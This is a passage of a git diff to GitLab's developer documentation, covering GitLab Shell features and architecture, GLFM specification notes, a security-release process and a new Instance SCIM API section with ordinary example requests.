+GitLab has completed FIPS 140-2 Compliance for the build specified in this documentation. You can find our FIPS 140-2 Attestation in our [customer assurance package](https://about.gitlab.com/security/cap/), specifically the community package.
## FIPS compliance at GitLab
diff --git a/doc/development/geo.md b/doc/development/geo.md
index 76c75cb1c6a..710d0eec3b0 100644
--- a/doc/development/geo.md
+++ b/doc/development/geo.md
@@ -4,7 +4,7 @@ group: Geo
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Geo (development) **(PREMIUM SELF)**
+# Geo (development)
Geo connects GitLab instances together. One GitLab instance is
designated as a **primary** site and can be run with multiple
@@ -602,6 +602,8 @@ For comparison with your own features, see [Supported Geo data types](../adminis
If you add a feature that is backed by Git repositories, then you must add Geo support. See [the repository replicator strategy of the Geo self-service framework](geo/framework.md#repository-replicator-strategy).
+Create an issue based on the [Geo Replicate a new blob type template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Geo%20Replicate%20a%20new%20blob%20type) and follow the guidelines.
+
### Blobs
If you add a subclass of `CarrierWave::Uploader::Base`, then you are adding what Geo calls a blob. If you specifically subclass [`AttachmentUploader` as generally recommended](uploads/working_with_uploads.md#recommendations), then the data has Geo support with no work needed. This is because `AttachmentUploader` tracks blobs with the `Upload` model using the `uploads` table, and Geo support is already implemented for that model.
@@ -610,6 +612,8 @@ If your blobs are tracked in a new table, perhaps because you expect millions of
[Geo detects new blobs with a spec](https://gitlab.com/gitlab-org/gitlab/-/blob/eeba0e4d231ae39012a5bbaeac43a72c2bd8affb/ee/spec/uploaders/every_gitlab_uploader_spec.rb) that fails when an `Uploader` does not have a corresponding `Replicator`.
+Create an issue based on the [Geo Replicate a new Git repository type template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Geo%20Replicate%20a%20new%20Git%20repository%20type) and follow the guidelines.
+
### Features with more than one kind of data
If a new complex feature is backed by multiple kinds of data, for example, a Git repository and a blob, then you can likely consider each kind of data separately.
diff --git a/doc/development/gitlab_flavored_markdown/index.md b/doc/development/gitlab_flavored_markdown/index.md
index 0af31892726..f115ae9a11c 100644
--- a/doc/development/gitlab_flavored_markdown/index.md
+++ b/doc/development/gitlab_flavored_markdown/index.md
@@ -4,7 +4,9 @@ group: Editor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# GitLab Flavored Markdown (GLFM) developer documentation **(FREE)**
+<!-- vale gitlab.GitLabFlavoredMarkdown = NO -->
+
+# GitLab Flavored Markdown (GLFM) developer documentation
This page contains the MVC for the developer documentation for GitLab Flavored Markdown (GLFM).
For the user documentation about Markdown in GitLab, refer to
diff --git a/doc/development/gitlab_flavored_markdown/specification_guide/index.md b/doc/development/gitlab_flavored_markdown/specification_guide/index.md
index 85c6653180b..79a4ac9b49a 100644
--- a/doc/development/gitlab_flavored_markdown/specification_guide/index.md
+++ b/doc/development/gitlab_flavored_markdown/specification_guide/index.md
@@ -4,7 +4,9 @@ group: Editor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# GitLab Flavored Markdown (GLFM) Specification Guide **(FREE)**
+<!-- vale gitlab.GitLabFlavoredMarkdown = NO -->
+
+# GitLab Flavored Markdown (GLFM) Specification Guide
## Summary
@@ -108,17 +110,18 @@ Here are the HTML-rendered versions of the specifications:
- [GitHub Flavored Markdown (GFM) specification](https://github.github.com/gfm/) (rendered from the [source `spec.txt` for GFM specification](https://github.com/github/cmark-gfm/blob/master/test/spec.txt)), which extends the:
- [CommonMark specification](https://spec.commonmark.org/0.30/) (rendered from the [source `spec.txt` for CommonMark specification](https://github.com/commonmark/commonmark-spec/blob/master/spec.txt))
-NOTE:
-The creation of the
-[HTML-rendered version of the GitLab Flavored Markdown (GLFM) specification](https://gitlab.com/gitlab-org/gitlab/-/blob/master/glfm_specification/output_spec/spec.html)
-file is still pending.
-
However, GLFM has more complex parsing, rendering, and testing requirements than
GFM or CommonMark. Therefore,
it does not have a static, hardcoded, manually updated `spec.txt`. Instead, the
GLFM `spec.txt` is automatically generated based on other input files. This process
is explained in detail in the [Implementation](#implementation) sections below.
+NOTE:
+As of December 2022, the HTML version of the [GitHub Flavored Markdown (GFM) specification](https://github.github.com/gfm/)
+is outdated, and does not match the [specification's `spec.txt`](https://github.com/github/cmark-gfm/blob/master/test/spec.txt).
+An issue has been [filed in the `cmark-gfm` project](https://github.com/github/cmark-gfm/issues/288)
+to report this.
+
#### Official specifications vs internal extensions
Within GFM and GLFM respectively, both GitHub and GitLab have two "sets" of Markdown they support:
@@ -240,6 +243,12 @@ This means that it uses configuration files to support providing GitLab-specific
which is required by internal extension examples, such
as [`glfm_example_metadata.yml`](#glfm_example_metadatayml).
+The design of the snapshot testing helps ensure the correctness of the user-facing GLFM Markdown.
+The testing thoroughly exercises the backend and frontend [parsers and renderers](#parsers-and-renderers)
+by using a [black-box testing](https://en.wikipedia.org/wiki/Black-box_testing) approach.
+It can be considered a type of high-level testing at the ["top of the testing pyramid"](https://martinfowler.com/articles/practical-test-pyramid.html)
+because of this comprehensive style.
+
Regarding the terminology used for Markdown snapshot testing:
<!-- vale gitlab.InclusionCultural = NO -->
@@ -1357,7 +1366,9 @@ This section describes how the scripts can be used to manage the GLFM specificat
1. Run [`update-specification.rb`](#update-specificationrb-script) to update the GLFM specification [output specification files](#output-specification-files).
1. Visually inspect and confirm any resulting changes to the [output specification files](#output-specification-files).
-1. Run [`run-spec-tests.sh`](#run-spec-testssh-script) to run the conformance tests against the canonicalized GLFM specification.
+1. Run [`run-spec-tests.sh`](#run-spec-testssh-script). This script is not yet implemented
+ and only prints a placeholder message. When implemented, it should run the conformance tests
+ against the canonicalized GLFM specification.
1. Commit any changes to the [output specification files](#output-specification-files).
### Update the example snapshots and run snapshot tests
diff --git a/doc/development/gitlab_shell/features.md b/doc/development/gitlab_shell/features.md
new file mode 100644
index 00000000000..f7931c4b94d
--- /dev/null
+++ b/doc/development/gitlab_shell/features.md
@@ -0,0 +1,89 @@
+---
+stage: Create
+group: Source Code
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
+---
+
+# GitLab Shell feature list
+
+## Discover
+
+Allows users to identify themselves on an instance via SSH. The command helps to
+confirm quickly whether a user has SSH access to the instance:
+
+```shell
+ssh git@<hostname>
+
+PTY allocation request failed on channel 0
+Welcome to GitLab, @username!
+Connection to staging.gitlab.com closed.
+```
+
+When permission is denied, it returns:
+
+```shell
+ssh git@<hostname>
+git@<hostname>: Permission denied (publickey).
+```
+
+## Git operations
+
+GitLab Shell provides support for Git operations over SSH by processing
+`git-upload-pack`, `git-receive-pack` and `git-upload-archive` SSH commands.
+It limits the set of commands to predefined Git commands:
+
+- `git archive`
+- `git clone`
+- `git pull`
+- `git push`
+
+## Generate new 2FA recovery codes
+
+Enables users to
+[generate new 2FA recovery codes](../../user/profile/account/two_factor_authentication.md#generate-new-recovery-codes-using-ssh):
+
+```shell
+$ ssh git@<hostname> 2fa_recovery_codes
+
+Are you sure you want to generate new two-factor recovery codes?
+Any existing recovery codes you saved will be invalidated. (yes/no)
+yes
+
+Your two-factor authentication recovery codes are:
+...
+```
+
+## Verify 2FA OTP
+
+Allows users to verify their
+[2FA one-time password (OTP)](../../security/two_factor_authentication.md#2fa-for-git-over-ssh-operations):
+
+```shell
+$ ssh git@<hostname> 2fa_verify
+
+OTP: 347419
+
+OTP validation failed.
+```
+
+## LFS authentication
+
+Enables users to generate credentials for LFS authentication:
+
+```shell
+$ ssh git@<hostname> git-lfs-authenticate <project-path> <upload/download>
+
+{"header":{"Authorization":"Basic ..."},"href":"https://gitlab.com/user/project.git/info/lfs","expires_in":7200}
+```
+
+## Personal access token
+
+Enables users to use personal access tokens via SSH:
+
+```shell
+$ ssh git@<hostname> personal_access_token <name> <scope1[,scope2,...]> [ttl_days]
+
+Token: glpat-...
+Scopes: api
+Expires: 2022-02-05
+```
diff --git a/doc/development/gitlab_shell/gitlab_sshd.md b/doc/development/gitlab_shell/gitlab_sshd.md
new file mode 100644
index 00000000000..4c2cd6396c1
--- /dev/null
+++ b/doc/development/gitlab_shell/gitlab_sshd.md
@@ -0,0 +1,36 @@
+---
+stage: Create
+group: Source Code
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# `gitlab-sshd` in GitLab Shell
+
+`gitlab-sshd` is a binary in [`gitlab-shell`](https://gitlab.com/gitlab-org/gitlab-shell)
+which runs as a persistent SSH daemon. It is intended to replace `OpenSSH` on GitLab SaaS,
+and eventually other cloud-native environments. Instead of running an `sshd` process,
+we run a `gitlab-sshd` process that does the same job, in a more focused manner:
+
+```mermaid
+sequenceDiagram
+ participant Git on client
+ participant GitLab SSHD
+ participant Rails
+ participant Gitaly
+ participant Git on server
+
+ Note left of Git on client: git fetch
+ Git on client->>+GitLab SSHD: ssh git fetch-pack request
+ GitLab SSHD->>+Rails: GET /internal/api/authorized_keys?key=AAAA...
+ Note right of Rails: Lookup key ID
+ Rails-->>-GitLab SSHD: 200 OK, command="gitlab-shell upload-pack key_id=1"
+ GitLab SSHD->>+Rails: GET /internal/api/allowed?action=upload_pack&key_id=1
+ Note right of Rails: Auth check
+ Rails-->>-GitLab SSHD: 200 OK, { gitaly: ... }
+ GitLab SSHD->>+Gitaly: SSHService.SSHUploadPack request
+ Gitaly->>+Git on server: git upload-pack request
+ Note over Git on client,Git on server: Bidirectional communication between Git client and server
+ Git on server-->>-Gitaly: git upload-pack response
+ Gitaly -->>-GitLab SSHD: SSHService.SSHUploadPack response
+ GitLab SSHD-->>-Git on client: ssh git fetch-pack response
+```
diff --git a/doc/development/gitlab_shell/index.md b/doc/development/gitlab_shell/index.md
new file mode 100644
index 00000000000..7f2c113fa0c
--- /dev/null
+++ b/doc/development/gitlab_shell/index.md
@@ -0,0 +1,222 @@
+---
+stage: Create
+group: Source Code
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# GitLab Shell
+
+[![pipeline status](https://gitlab.com/gitlab-org/gitlab-shell/badges/main/pipeline.svg)](https://gitlab.com/gitlab-org/gitlab-shell/-/pipelines?ref=main) [![coverage report](https://gitlab.com/gitlab-org/gitlab-shell/badges/main/coverage.svg)](https://gitlab.com/gitlab-org/gitlab-shell/-/pipelines?ref=main) [![Code Climate](https://codeclimate.com/github/gitlabhq/gitlab-shell.svg)](https://codeclimate.com/github/gitlabhq/gitlab-shell)
+
+GitLab Shell handles Git SSH sessions for GitLab and modifies the list of authorized keys.
+GitLab Shell is not a Unix shell nor a replacement for Bash or Zsh.
+
+GitLab supports Git LFS authentication through SSH.
+
+## Requirements
+
+GitLab Shell is written in Go, and needs a Go compiler to build. It still requires
+Ruby to build and test, but not to run.
+
+GitLab Shell runs on `port 22` on an Omnibus installation. To use a regular SSH
+service, configure it on an alternative port.
+
+Download and install the current version of Go from [golang.org](https://golang.org/dl/).
+We follow the [Golang Release Policy](https://golang.org/doc/devel/release.html#policy)
+and support:
+
+- The current stable version.
+- The previous two major versions.
+
+## How GitLab Shell works
+
+When you access the GitLab server over SSH, GitLab Shell then:
+
+1. Limits you to predefined Git commands (`git push`, `git pull`, `git fetch`).
+1. Calls the GitLab Rails API to check if you are authorized, and what Gitaly server your repository is on.
+1. Copies data back and forth between the SSH client and the Gitaly server.
+
+If you access a GitLab server over HTTP(S) you end up in [`gitlab-workhorse`](../workhorse/index.md).
+
+### `git pull` over SSH
+
+```mermaid
+graph LR
+ A[Git pull] --> |via SSH| B[gitlab-shell]
+ B -->|API call| C[gitlab-rails<br>authorization]
+ C -->|accept or decline| D[Gitaly session]
+```
+
+### `git push` over SSH
+
+The `git push` command is not performed until after `gitlab-rails` accepts the push:
+
+```mermaid
+graph LR
+subgraph User initiates
+ A[Git push] -->|via SSH| B[gitlab-shell]
+end
+subgraph Gitaly
+ B -->|establish Gitaly session| C[gitlab-shell pre-receive hook]
+ C -->|API auth call| D[Gitlab-rails]
+ D --> E[accept or decline push]
+end
+```
+
+[Full feature list](features.md)
+
+### Modifies `authorized_keys`
+
+GitLab Shell modifies the `authorized_keys` file on the client machine.
+
+## Contribute to GitLab Shell
+
+To contribute to GitLab Shell:
+
+1. Check if GitLab API access, and Redis via the internal API, can be reached: `make check`
+1. Compile the `gitlab-shell` binaries, placing them into `bin/`: `make compile`
+1. Run `make install` to build the `gitlab-shell` binaries and install. them onto the file system.
+ The default location is `/usr/local`. To change it, set the `PREFIX` and `DESTDIR` environment variables.
+1. To install GitLab from source on a single machine, run `make setup`.
+ It compiles the GitLab Shell binaries, and ensures that various paths on the file system
+ exist with the correct permissions. Do not run this command unless your installation method
+ documentation instructs you to.
+
+For more information, see
+[CONTRIBUTING.md](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/CONTRIBUTING.md).
+
+### Run tests
+
+When contributing, run tests:
+
+1. Run tests with `bundle install` and `make test`.
+1. Run Gofmt: `make verify`
+1. Run both test and verify (the default Makefile target):
+
+ ```shell
+ bundle install
+ make validate
+ ```
+
+1. If needed, configure Gitaly.
+
+### Configure Gitaly for local testing
+
+Some tests need a Gitaly server. The
+[`docker-compose.yml`](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/docker-compose.yml) file runs Gitaly on port 8075.
+To tell the tests where Gitaly is, set `GITALY_CONNECTION_INFO`:
+
+```plaintext
+export GITALY_CONNECTION_INFO='{"address": "tcp://localhost:8075", "storage": "default"}'
+make test
+```
+
+If no `GITALY_CONNECTION_INFO` is set, the test suite still runs, but any
+tests requiring Gitaly are skipped. The tests always run in the CI environment.
+
+## Rate limiting
+
+GitLab Shell performs rate-limiting by user account and project for Git operations.
+GitLab Shell accepts Git operation requests and then makes a call to the Rails
+rate-limiter, backed by Redis. If the `user + project` exceeds the rate limit,
+then GitLab Shell then drop further connection requests for that `user + project`.
+
+The rate-limiter is applied at the Git command (plumbing) level. Each command has
+a rate limit of 600 per minute. For example, `git push` has 600 per minute, and
+`git pull` has another 600 per minute.
+
+Because they are using the same plumbing command, `git-upload-pack`, `git pull`,
+and `git clone` are in effect the same command for the purposes of rate-limiting.
+
+Gitaly also has a rate-limiter in place, but calls are never made to Gitaly if
+the rate limit is exceeded in GitLab Shell (Rails).
+
+## Logs in GitLab Shell
+
+In general, you can determine the structure, but not content, of a GitLab Shell
+or `gitlab-sshd` session by inspecting the logs. Some guidelines:
+
+- We use [`gitlab.com/gitlab-org/labkit/log`](https://pkg.go.dev/gitlab.com/gitlab-org/labkit/log)
+ for logging.
+- Always include a correlation ID.
+- Log messages should be invariant and unique. Include accessory information in
+ fields, using `log.WithField`, `log.WithFields`, or `log.WithError`.
+- Log both success cases and error cases.
+- Logging too much is better than not logging enough. If a message seems too
+ verbose, consider reducing the log level before removing the message.
+
+## GitLab SaaS
+
+A diagram of the flow of `gitlab-shell` on GitLab.com:
+
+```mermaid
+graph LR
+ a2 --> b2
+ a2 --> b3
+ a2 --> b4
+ b2 --> c1
+ b3 --> c1
+ b4 --> c1
+ c2 --> d1
+ c2 --> d2
+ c2 --> d3
+ d1 --> e1
+ d2 --> e1
+ d3 --> e1
+ a1[Cloudflare] --> a2[TCP<br/> load balancer]
+ e1[Git]
+
+ subgraph HAProxy Fleet
+ b2[HAProxy]
+ b3[HAProxy]
+ b4[HAProxy]
+ end
+
+ subgraph GKE
+ c1[Internal TCP<br/> load balancer<br/>port 2222] --> c2[GitLab-shell<br/> pods]
+ end
+
+ subgraph Gitaly
+ d1[Gitaly]
+ d2[Gitaly]
+ d3[Gitaly]
+ end
+```
+
+## GitLab Shell architecture
+
+```mermaid
+sequenceDiagram
+ participant Git on client
+ participant SSH server
+ participant AuthorizedKeysCommand
+ participant GitLab Shell
+ participant Rails
+ participant Gitaly
+ participant Git on server
+
+ Note left of Git on client: git fetch
+ Git on client->>+SSH server: ssh git fetch-pack request
+ SSH server->>+AuthorizedKeysCommand: gitlab-shell-authorized-keys-check git AAAA...
+ AuthorizedKeysCommand->>+Rails: GET /internal/api/authorized_keys?key=AAAA...
+ Note right of Rails: Lookup key ID
+ Rails-->>-AuthorizedKeysCommand: 200 OK, command="gitlab-shell upload-pack key_id=1"
+ AuthorizedKeysCommand-->>-SSH server: command="gitlab-shell upload-pack key_id=1"
+ SSH server->>+GitLab Shell: gitlab-shell upload-pack key_id=1
+ GitLab Shell->>+Rails: GET /internal/api/allowed?action=upload_pack&key_id=1
+ Note right of Rails: Auth check
+ Rails-->>-GitLab Shell: 200 OK, { gitaly: ... }
+ GitLab Shell->>+Gitaly: SSHService.SSHUploadPack request
+ Gitaly->>+Git on server: git upload-pack request
+ Note over Git on client,Git on server: Bidirectional communication between Git client and server
+ Git on server-->>-Gitaly: git upload-pack response
+ Gitaly -->>-GitLab Shell: SSHService.SSHUploadPack response
+ GitLab Shell-->>-SSH server: gitlab-shell upload-pack response
+ SSH server-->>-Git on client: ssh git fetch-pack response
+```
+
+## Related topics
+
+- [LICENSE](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/LICENSE).
+- [PROCESS.md](https://gitlab.com/gitlab-org/gitlab-shell/-/blob/main/PROCESS.md)
+- [Using the GitLab Shell chart](https://docs.gitlab.com/charts/charts/gitlab/gitlab-shell/)
diff --git a/doc/development/gitlab_shell/process.md b/doc/development/gitlab_shell/process.md
new file mode 100644
index 00000000000..cc6f44b865c
--- /dev/null
+++ b/doc/development/gitlab_shell/process.md
@@ -0,0 +1,71 @@
+---
+stage: Create
+group: Source Code
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Processes for GitLab Shell
+
+## Releasing a new version
+
+GitLab Shell is versioned by Git tags, and the version used by the Rails
+application is stored in
+[`GITLAB_SHELL_VERSION`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_SHELL_VERSION).
+
+For each version, there is a raw version and a tag version:
+
+- The **raw version** is the version number. For instance, `15.2.8`.
+- The **tag version** is the raw version prefixed with `v`. For instance, `v15.2.8`.
+
+To release a new version of GitLab Shell and have that version available to the
+Rails application:
+
+1. Create a merge request to update the [`CHANGELOG`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/CHANGELOG.md) with the
+ **tag version** and the [`VERSION`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/VERSION) file with the **raw version**.
+1. Ask a maintainer to review and merge the merge request. If you're already a
+ maintainer, second maintainer review is not required.
+1. Add a new Git tag with the **tag version**.
+1. Update `GITLAB_SHELL_VERSION` in the Rails application to the **raw
+ version**.
+
+ NOTE:
+ This can be done as a separate merge request, or in a merge request
+ that uses the latest GitLab Shell changes.
+
+## Security releases
+
+GitLab Shell is included in the packages we create for GitLab. Each version of
+GitLab specifies the version of GitLab Shell it uses in the `GITLAB_SHELL_VERSION`
+file. Because of this specification, security fixes in GitLab Shell are tightly coupled to the
+[GitLab security release](https://about.gitlab.com/handbook/engineering/workflow/#security-issues) workflow.
+
+For a security fix in GitLab Shell, two sets of merge requests are required:
+
+1. The fix itself, in the `gitlab-org/security/gitlab-shell` repository and its
+ backports to the previous versions of GitLab Shell.
+1. Merge requests to change the versions of GitLab Shell included in the GitLab
+ security release, in the `gitlab-org/security/gitlab` repository.
+
+The first step could be to create a merge request with a fix targeting `main`
+in `gitlab-org/security/gitlab-shell`. When the merge request is approved by maintainers,
+backports targeting previous 3 versions of GitLab Shell must be created. The stable
+branches for those versions may not exist, so feel free to ask a maintainer to create
+them. The stable branches must be created out of the GitLab Shell tags or versions
+used by the 3 previous GitLab releases.
+
+To find out the GitLab Shell version used on a particular GitLab stable release,
+run this command, replacing `13-9-stable-ee` with the version you're interested in.
+These commands show the version used by the `13.9` version of GitLab:
+
+```shell
+git fetch security 13-9-stable-ee
+git show refs/remotes/security/13-9-stable-ee:GITLAB_SHELL_VERSION
+```
+
+Close to the GitLab security release, a maintainer should merge the fix and backports,
+and cut all the necessary GitLab Shell versions. This allows bumping the
+`GITLAB_SHELL_VERSION` for `gitlab-org/security/gitlab`. The GitLab merge request
+is handled by the general GitLab security release process.
+
+After the security release is done, a GitLab Shell maintainer is responsible for
+syncing tags and `main` to the `gitlab-org/gitlab-shell` repository.
diff --git a/doc/development/go_guide/go_upgrade.md b/doc/development/go_guide/go_upgrade.md
index d931140d9da..b3ec0a15c37 100644
--- a/doc/development/go_guide/go_upgrade.md
+++ b/doc/development/go_guide/go_upgrade.md
@@ -193,7 +193,7 @@ be included in the relevant issues as part of the definition of done:
Upstream component maintainers must validate their Go-based projects using:
- Established unit tests in the codebase.
-- Procedures established in [Merge Request Performance Guidelines](../merge_request_performance_guidelines.md).
+- Procedures established in [Merge Request Performance Guidelines](../merge_request_concepts/performance.md).
- Procedures established in [Performance, Reliability, and Availability guidelines](../code_review.md#performance-reliability-and-availability).
Upstream component maintainers should consider validating their Go-based
diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md
index 8a4ad73efe3..cc7232cd793 100644
--- a/doc/development/i18n/proofreader.md
+++ b/doc/development/i18n/proofreader.md
@@ -86,6 +86,7 @@ are very appreciative of the work done by translators and proofreaders!
- Tomo Dote - [GitLab](https://gitlab.com/fu7mu4), [Crowdin](https://crowdin.com/profile/fu7mu4)
- Hiromi Nozawa - [GitLab](https://gitlab.com/hir0mi), [Crowdin](https://crowdin.com/profile/hir0mi)
- Takuya Noguchi - [GitLab](https://gitlab.com/tnir), [Crowdin](https://crowdin.com/profile/tnir)
+ - Tsukasa Komatsubara - [GitLab](https://gitlab.com/tkomatsubara), [Crowdin](https://crowdin.com/profile/tkomatsubara)
- Korean
- Chang-Ho Cha - [GitLab](https://gitlab.com/changho-cha), [Crowdin](https://crowdin.com/profile/zzazang)
- Ji Hun Oh - [GitLab](https://gitlab.com/Baw-Appie), [Crowdin](https://crowdin.com/profile/BawAppie)
diff --git a/doc/development/image_scaling.md b/doc/development/image_scaling.md
index 502a18fecd7..d182bd8333e 100644
--- a/doc/development/image_scaling.md
+++ b/doc/development/image_scaling.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
diff --git a/doc/development/img/feature-flag-metrics.png b/doc/development/img/feature-flag-metrics.png
new file mode 100644
index 00000000000..ce8702d47eb
--- /dev/null
+++ b/doc/development/img/feature-flag-metrics.png
Binary files differ
diff --git a/doc/development/integrations/index.md b/doc/development/integrations/index.md
index 1c9144a1163..9fd8fb7eb61 100644
--- a/doc/development/integrations/index.md
+++ b/doc/development/integrations/index.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
description: "GitLab's development guidelines for Integrations"
---
-# Integrations development guide **(FREE)**
+# Integrations development guide
This page provides development guidelines for implementing [GitLab integrations](../../user/project/integrations/index.md),
which are part of our [main Rails project](https://gitlab.com/gitlab-org/gitlab).
diff --git a/doc/development/integrations/jenkins.md b/doc/development/integrations/jenkins.md
index f314f4536e2..6baccdca327 100644
--- a/doc/development/integrations/jenkins.md
+++ b/doc/development/integrations/jenkins.md
@@ -4,7 +4,7 @@ group: Integrations
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# How to run Jenkins in development environment (on macOS) **(FREE)**
+# How to run Jenkins in development environment (on macOS)
This is a step by step guide on how to set up [Jenkins](https://www.jenkins.io/) on your local machine and connect to it from your GitLab instance. GitLab triggers webhooks on Jenkins, and Jenkins connects to GitLab using the API. By running both applications on the same machine, we can make sure they are able to access each other.
diff --git a/doc/development/integrations/jira_connect.md b/doc/development/integrations/jira_connect.md
index c7bb77a6a5d..5b460f8723a 100644
--- a/doc/development/integrations/jira_connect.md
+++ b/doc/development/integrations/jira_connect.md
@@ -4,7 +4,7 @@ group: Integrations
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Set up a development environment **(FREE)**
+# Set up a development environment
The following are required to install and test the app:
diff --git a/doc/development/integrations/secure.md b/doc/development/integrations/secure.md
index 190a6f6eda2..f5bb2df2494 100644
--- a/doc/development/integrations/secure.md
+++ b/doc/development/integrations/secure.md
@@ -350,9 +350,9 @@ version is 14.0.6, the report is validated against version 14.0.6.
GitLab uses the
[`json_schemer`](https://www.rubydoc.info/gems/json_schemer) gem to perform validation.
-Ongoing improvements to report validation are tracked [in this epic](https://gitlab.com/groups/gitlab-org/-/epics/6968).
+Ongoing improvements to report validation are tracked [in this epic](https://gitlab.com/groups/gitlab-org/-/epics/8900).
In the meantime, you can see which versions are supported in the
-[source code](https://gitlab.com/gitlab-org/gitlab/-/blob/08dd756429731a0cca1e27ca9d59eea226398a7d/lib/gitlab/ci/parsers/security/validators/schema_validator.rb#L9-27).
+[source code](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/parsers/security/validators/schema_validator.rb#L9). Remember to pick the correct version for your instance, for example [`v15.7.3-ee`](https://gitlab.com/gitlab-org/gitlab/-/blob/v15.7.3-ee/lib/gitlab/ci/parsers/security/validators/schema_validator.rb#L9).
#### Validate locally
diff --git a/doc/development/internal_api/index.md b/doc/development/internal_api/index.md
index 68d9b88bc05..f0fdedd801f 100644
--- a/doc/development/internal_api/index.md
+++ b/doc/development/internal_api/index.md
@@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference, api
---
-# Internal API **(FREE)**
+# Internal API
The internal API is used by different GitLab components, it cannot be
used by other consumers. This documentation is intended for people
@@ -964,17 +964,17 @@ Example response:
- CustomersDot
-## SCIM API **(PREMIUM SAAS)**
+## Group SCIM API **(PREMIUM SAAS)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9388) in GitLab 11.10.
-The SCIM API implements the [RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). As this API is for
+The group SCIM API implements the [RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). As this API is for
**system** use for SCIM provider integration, it is subject to change without notice.
-To use this API, [Group SSO](../../user/group/saml_sso/index.md) must be enabled for the group.
+To use this API, enable [Group SSO](../../user/group/saml_sso/index.md) for the group.
This API is only in use where [SCIM for Group SSO](../../user/group/saml_sso/scim_setup.md) is enabled. It's a prerequisite to the creation of SCIM identities.
-Not to be confused with the [main SCIM API](../../api/scim.md).
+This API is different to the [main SCIM API](../../api/scim.md) and the [instance SCIM API](#instance-scim-api).
### Get a list of SCIM provisioned users
@@ -991,7 +991,7 @@ Parameters:
|:----------|:--------|:---------|:----------------------------------------------------------------------------------------------------------------------------------------|
| `filter` | string | no | A [filter](#available-filters) expression. |
| `group_path` | string | yes | Full path to the group. |
-| `startIndex` | integer | no | The 1-based index indicating where to start returning results from. A value of less than one will be interpreted as 1. |
+| `startIndex` | integer | no | The 1-based index indicating where to start returning results from. A value of less than one is interpreted as 1. |
| `count` | integer | no | Desired maximum number of query results. |
NOTE:
@@ -1185,6 +1185,219 @@ curl --verbose --request DELETE "https://gitlab.example.com/api/scim/v2/groups/t
Returns an empty response with a `204` status code if successful.
+## Instance SCIM API **(PREMIUM SELF)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/378599) in GitLab 15.8.
+
+The Instance SCIM API implements the [RFC7644 protocol](https://www.rfc-editor.org/rfc/rfc7644). As this API is for
+**system** use for SCIM provider integration, it is subject to change without notice.
+
+To use this API, enable [SAML SSO](../../integration/saml.md) for the instance.
+
+This API is different to the [main SCIM API](../../api/scim.md) and the [group SCIM API](#group-scim-api).
+
+### Get a list of SCIM provisioned users
+
+This endpoint is used as part of the SCIM syncing mechanism. It only returns
+a single user based on a unique ID which should match the `extern_uid` of the user.
+
+```plaintext
+GET /api/scim/v2/application/Users
+```
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+|:----------|:--------|:---------|:----------------------------------------------------------------------------------------------------------------------------------------|
+| `filter` | string | no | A [filter](#available-filters) expression. |
+| `startIndex` | integer | no | The 1-based index indicating where to start returning results from. A value of less than one is interpreted as 1. |
+| `count` | integer | no | Desired maximum number of query results. |
+
+NOTE:
+Pagination follows the [SCIM spec](https://www.rfc-editor.org/rfc/rfc7644#section-3.4.2.4) rather than GitLab pagination as used elsewhere. If records change between requests it is possible for a page to either be missing records that have moved to a different page or repeat records from a previous request.
+
+Example request:
+
+```shell
+curl "https://gitlab.example.com/api/scim/v2/application/Users?filter=id%20eq%20%220b1d561c-21ff-4092-beab-8154b17f82f2%22" \
+ --header "Authorization: Bearer <your_scim_token>" \
+ --header "Content-Type: application/scim+json"
+```
+
+Example response:
+
+```json
+{
+ "schemas": [
+ "urn:ietf:params:scim:api:messages:2.0:ListResponse"
+ ],
+ "totalResults": 1,
+ "itemsPerPage": 20,
+ "startIndex": 1,
+ "Resources": [
+ {
+ "schemas": [
+ "urn:ietf:params:scim:schemas:core:2.0:User"
+ ],
+ "id": "0b1d561c-21ff-4092-beab-8154b17f82f2",
+ "active": true,
+ "name.formatted": "Test User",
+ "userName": "username",
+ "meta": { "resourceType":"User" },
+ "emails": [
+ {
+ "type": "work",
+ "value": "name@example.com",
+ "primary": true
+ }
+ ]
+ }
+ ]
+}
+```
+
+### Get a single SCIM provisioned user
+
+```plaintext
+GET /api/scim/v2/application/Users/:id
+```
+
+Parameters:
+
+| Attribute | Type | Required | Description |
+|:----------|:--------|:---------|:----------------------------------------------------------------------------------------------------------------------------------------|
